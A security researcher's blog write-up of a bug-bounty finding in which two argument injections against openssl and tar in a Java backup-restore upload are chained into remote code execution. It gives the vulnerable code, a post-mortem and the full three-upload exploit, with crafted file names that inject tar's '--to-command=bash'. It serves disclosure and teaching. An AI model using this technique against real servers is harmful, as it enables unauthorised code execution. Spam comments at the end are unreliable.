Exploiting Command Argument Injections With Openssl and Tar

One of the more interesting bug bounties I have come across required chaining two “argument injection” vulnerabilities along with a number of smaller data validation vulnerabilities to achieve remote code execution. The target application was an enterprise server with an administrator feature for downloading a backup and later restoring from the downloaded file. Unsurprisingly this “restore from backup” feature involved uploading a file over HTTP, and as is often the case the file upload was being processed in an insecure way.
I am breaking this post down into a vulnerabilities section that provides some pseudocode and analysis of the vulnerable component and an exploit section that contains details of the triple-upload exploit.

The Vulnerabilities

Here is some Java code that demonstrates how the “restore from backup” feature processed the uploaded file. I changed the real password to “secret123” because humorously the hard-coded password that they chose actually would identify the company that makes the vulnerable product. This snippet captures the essence of the vulnerable code, although it is simplified and cleaned up in order to better demonstrate the vulnerability:

public void processUpload(String tmpDir /* Is always $PWD/tmp-<GUID> */, 
         String uploadName /* must end with ‘.archive’ and cannot contain a forward slash */ ) 
{
    String uploadPath = tmpDir + "/" + uploadName;
    String backupPrefix = uploadPath.substring(0, uploadPath.indexOf(".archive"));
    String archivePath = backupPrefix + ".archive";
    String tarGzPath = backupPrefix + ".tar.gz";
    Runtime r = Runtime.getRuntime();
    r.exec("openssl enc -d -aes-256-cbc -salt -in "+archivePath+" -out "+tarGzName+" -pass pass:secret123 -p");
    if(decryptionFailed) throw SomeError();
    r.exec("tar -zxvf "+tarGzPath+" -C "+tmpDir);
    processRestoreFromUpload(tmpDir, backupPrefix);
}

The user controls the following inputs:
  • The content of the uploaded file
  • The name of the uploaded file, which must not contain forward slashes and end with “.archive
Also, the server executes the function in the following context:
  • The uploaded file is placed in tmpDir
  • The working directory of the application and its child processes is the parent of tmpDir
  • The temporary directory name is generated using a timestamp with a type 4 GUID at startup
  • The process runs as an unprivileged user and is restricted in what files it can overwrite
It is important to mention that Java’s Runtime.exec() will split the string into an array using whitespace as a delimiter (specifically “ \t\n\r\f”), and then treats the first argument as the executable. This executable is then called with the arguments passed to it as an array. As a result it is not possible to inject shell commands unless you control the string before the first space, but if you can inject spaces into the command string then you can add parameters.

If I were to do a post-mortem from a developer’s perspective, I would call these out as being the main vulnerabilities that made the exploit possible:
  1. [Implementation] Lack of input validation on the upload file name (CWE-20)
  2. [Implementation] Argument Injection in the first and second exec calls (CWE-88)
  3. [Implementation] When cleaning up the temporary files, it assumed that the .tar file had only the one specific file it was expecting and so it left all the other files on disk (another section of code was responsible for this).
  4. [Design] Use of a hard-coded password makes the encryption a moot point, especially since anyone can get their hands on the server executables. (CWE-656)
  5. [Design] Using the upload file name as the actual name of the file on disk – there is no reason why the filename as specified by the user should also have been the filename on disk.
  6. [Design] Using shell commands in the first place, instead of Java libraries for encryption and compression. (CWE-676)

The Exploit

My goal here was to get an RCE that triggered immediately that was not dependent upon any external factors. The cornerstone of the successful exploitation of these vulnerabilities was the obscure tar argument “--to-command=bash”, which tells tar to execute each file in the archive as a bash script! That sounded nice in theory, but actually triggering this dangerous tar feature was surprisingly difficult because of the following mitigating factors:
  • The working directory of the server process was the parent of the temporary directory
  • The temporary directory name was not easy to guess
  • Any command injection on tar would also trigger a command injection on the openssl, and the file name needed the openssl command to have a successful return code
In the end I made it work by having a three-stage exploit, where the first two uploads would get the archive in the right place and the third upload would actually trigger the vulnerability. Here is the script that was used to generate the three uploads (where $1 is the path to the payload script to be run on the target machine):

cp $1 shellcode_archive
tar -zcvf payload.tar.gz shellcode_archive

openssl enc -e -aes-256-cbc -salt -in payload.tar.gz -out shellcode_archive -pass pass:secret123
openssl enc -e -aes-256-cbc -salt -in shellcode_archive -out shellcode_archive2 -pass pass:secret123

tar -zcvf trojan_horse.tar.gz shellcode_archive2
openssl enc -e -aes-256-cbc -salt -in trojan_horse.tar.gz  -out trojan_horse.archive -pass pass:secret123

UPLOAD1="trojan_horse.archive"
UPLOAD2="shellcode_archive2 -out shellcode_archive -pass pass:.archive"
UPLOAD3="payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.archive"

This required triple-encrypting the actual payload. The first upload drops the double-encrypted payload to $PWD/tmpDir, the second upload decrypts it a second time and places the single-encrypted payload into $PWD, and the third upload decrypts it to a temporary file payload.tar.gz and triggers the shellcode on extract.

Upload 1 - Get the payload onto the server

Filename: "trojan_horse.archive"
As mentioned above, the purpose of the first upload is to drop the double-encrypted payload into “tmpDir/shellcode_archive2”. This upload does not exploit either of the argument injections, and only exploits the fact that abnormally named files in the uploaded archive will not be cleaned up. This is the only upload where the actual contents of the file matters – the next two uploads both use a malicious file name to perform an operation on a file that already exists on disk.

Upload 2 - Move to payload into $PWD

Filename: "shellcode_archive2 -out shellcode_archive -pass pass:.archive"
This upload targets the openssl argument injection, and the entire purpose is to move the payload from tmpDir into $PWD. This is accomplished when the following command string is passed into Runtime.exec (the attacker controlled text is highlighted):
openssl enc -d -aes-256-cbc -salt -in tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.archive -out tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.tar.gz -pass pass:secret123 -p
On the surface this may look strange – it is taking advantage of a quirk of how openssl processes arguments. Apparently when openssl sees the same argument multiple times, the last occurrence overwrites all of the previous ones. Here is the same command string with the ignored inputs shaded out:
openssl enc -d -aes-256-cbc -salt -in tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.archive -out tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.tar.gz -pass pass:secret123 -p
This command will decrypt “$PWD/tmpDir/shellcode_archive2” and output the result into “$PWD/shellcode_archive”. The exploit so far allows arbitrary files to be written directly to $PWD.

Upload 3 - Trigger the payload

Filename: "payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.archive"
This was the most difficult of the three uploads to come up with, since it needs to trigger the dangerous tar “--to-command” feature while also being a valid openssl command. It resulted in the following openssl command string being passed to Runtime.exec():
openssl enc -d -aes-256-cbc -salt -in tmpDir/payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.archive -out tmpDir/payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.tar.gz -pass pass:secret123 -p

This drops the decrypted payload archive into tmpDir/payload.tar.gz, while the redundant “-in” parameters are used to cancel out the “--to-command=bash” argument that is meant for the tar command.

Finally the tar argument injection is triggered with the following command string in Runtime.exec():

tar -zxvf tmpDir/payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.tar.gz -C tmpDir
This is more subtle than the openssl injection, because of how tar handles arguments. As described earlier, the key to the remote code execution exploit is that when “--to-command=bash” is specified tar will execute all files as a bash script as they are extracted.

There is a lot of other garbage on that command line though, and it surprised me that tar works as expected. The arguments are interpeted as extracting files named “shellcode_archive” and “pass:.tar.gz” from the archive at “tmpDir/payload.tar.gz”. The extra “-in” and “-pass” arguments are accepted by tar and do not cause anything to break – it doesn’t really matter what they do in this case.

If you were paying thorough attention earlier, you probably wondered why the payload script was renamed to “shellcode_archive” before it was put into payload.tar.gz. For the third upload the openssl injection interprets this name as the file to be decrypted, and the tar injection interprets it as the name of a file to be extracted from the archive because the one filename triggers both argument injection vulnerabilities.

Conclusion

This was a difficult vulnerability to exploit because of how nuanced it is, but it was very satisfying to get remote code execution by abusing quirks of how openssl and tar are implemented. When I was developing the exploit I was unable to find any resources on this type of argument injection, so hopefully by recording my experience the next person in this position will not have to start from scratch.

Comments

  1. Poker Room Las Vegas - JTM Hub
    There's only one 논산 출장마사지 way to play the 보령 출장마사지 casino poker 공주 출장안마 room for free, 여수 출장안마 or if you don't want to play your favorite game or have trouble gambling 의정부 출장안마 on any table

    ReplyDelete
  2. JCM Hub Casino - Hotel, Spa, and Casino - JTHub
    JCM Hub 동해 출장안마 offers accommodation in a 거제 출장안마 number of hotels in South Korea. The casino has also become 안산 출장안마 one of the most popular places 경상북도 출장안마 to 서울특별 출장마사지 play.

    ReplyDelete
  3. Harrah's Casino and Resort - Jordan20 Retro
    At air jordan 18 retro yellow suede super Harrah's Resort, you'll find plenty of room and suite options air jordan 18 retro men order and you'll best air jordan 18 retro toro mens sneakers enjoy the casino 야구 실시간 floor as the casino hotel is located right on air jordan 18 retro racer blue online the waterfront.

    ReplyDelete

Post a Comment

Popular posts from this blog

De-Anonymizing User Accounts Through Password Correlation